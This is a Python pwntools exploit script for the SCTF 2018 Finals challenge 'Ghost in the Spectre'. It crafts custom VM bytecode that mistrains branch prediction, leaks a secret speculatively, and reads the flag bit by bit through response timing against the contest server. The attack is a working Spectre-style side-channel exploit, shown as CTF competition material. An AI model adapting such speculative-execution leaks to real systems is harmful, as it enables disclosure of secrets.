SCTF 2018 Finals: Ghost in the Spectre

gis.py

from pwn import *

HOST, PORT = "gis.eatpwnnosleep.com", "9999"
# HOST, PORT = "0.0.0.0", 31337

menu = lambda: r.recvuntil(":")
ii = lambda x: r.sendline(str(x))
go = lambda x: (menu(), ii(x))[1]

context.endian = 'big'
context.log_level = 'error'

data = ''

def a(op=0, reg0=0, reg1=0, regdst=0, imm=0, subop=0, shift=0):
    r = op << 28
    r |= reg0 << 22
    r |= reg1 << 16
    r |= regdst << 10
    r |= imm
    r |= subop
    r |= shift << 5
    return r

def gen_payload(offset, shift):
  target = 0xdeadbeec + offset * 4
  offset = target - 0x90000000
  offset >>= 2
  offset &= 0xffffffff
  code = [a(op=0, reg1=1, reg0=0)] * 6 + [

  a(op=4, reg1=2, imm=0x40),

  # log branch prediction
  a(op=2, reg1=0, reg0=0, imm=2),
  a(op=4, reg1=8, imm=1),
  a(op=4, reg1=8, imm=1),

  a(op=5, reg0=2, reg1=8), # spectre! yey!
  a(op=4, reg1=9, imm=1),

  a(op=4, reg1=1, imm=(offset >> 16)),
  a(op=6, reg1=1, reg0=1, imm=offset & 0xffff),
  a(op=12, subop=9)
  ] + [
  a(op=0, reg1=1, reg0=0),
  a(op=4, reg1=5, imm=(target >> 16)), a(op=6, reg1=5, reg0=5, imm=target & 0xffff),
  a(op=5, reg0=5, reg1=2),
  a(op=4, reg1=5, imm=(target >> 16)), a(op=6, reg1=5, reg0=5, imm=target & 0xffff),

  a(op=4, reg1=3, imm=0),
  a(op=6, reg1=3, reg0=3, imm=1),
  a(op=4, reg1=12, imm=4),

  a(op=12, subop=6, regdst=9, reg1=2, shift=shift),
  a(op=4, reg1=5, imm=(target >> 16)), a(op=6, reg1=5, reg0=5, imm=target & 0xffff),
  a(op=12, subop=1, regdst=10, reg0=9, reg1=3),

  # jump if r10 == r0
  a(op=2, reg0=10, reg1=0, imm=5),
  a(op=4, reg1=5, imm=(target >> 16)),
  a(op=4, reg1=5, imm=(target >> 16)),
  a(op=12, subop=7, regdst=12, reg0=12, reg1=3),
  a(op=3, reg1=12, reg0=0, imm=0xfffe),
  a(op=4, reg1=5, imm=(target >> 16)),
  a(op=4, reg1=5, imm=(target >> 16)),

  a(op=12,subop=10)
  ]
  # print '\n'.join('%08x: %08x'%(0x400000 + i * 4, x) for i, x in enumerate(code))
  code += [0] * 100

  code = ''.join(map(p32, code))

  payload = p32(len(code)) + p32(len(data)) + code + data

  # open('1.bin', 'wb').write(payload)
  return payload

def trial():
  flag = ''
  rs = []
  for i in range(32):
    for j in range(32):
      r = remote(HOST, PORT)
      payload = gen_payload(i, j)

      r.sendline(str(len(payload)))
      r.sendline(payload.encode('hex'))

      t = time.time()
      r.recvall()
      t = time.time() - t
      print i, j, t
      rs.append(t > 0.3)
      if len(rs) == 8:
        flag += chr(int(''.join('%d'%x for x in rs[::-1]), 2))
        print 'FLAG:', `flag`
        if len(flag) % 4 == 0:
          flag = flag[:-4] + flag[-4:][::-1]
        rs = []
      r.close()

if __name__ == '__main__':
  trial()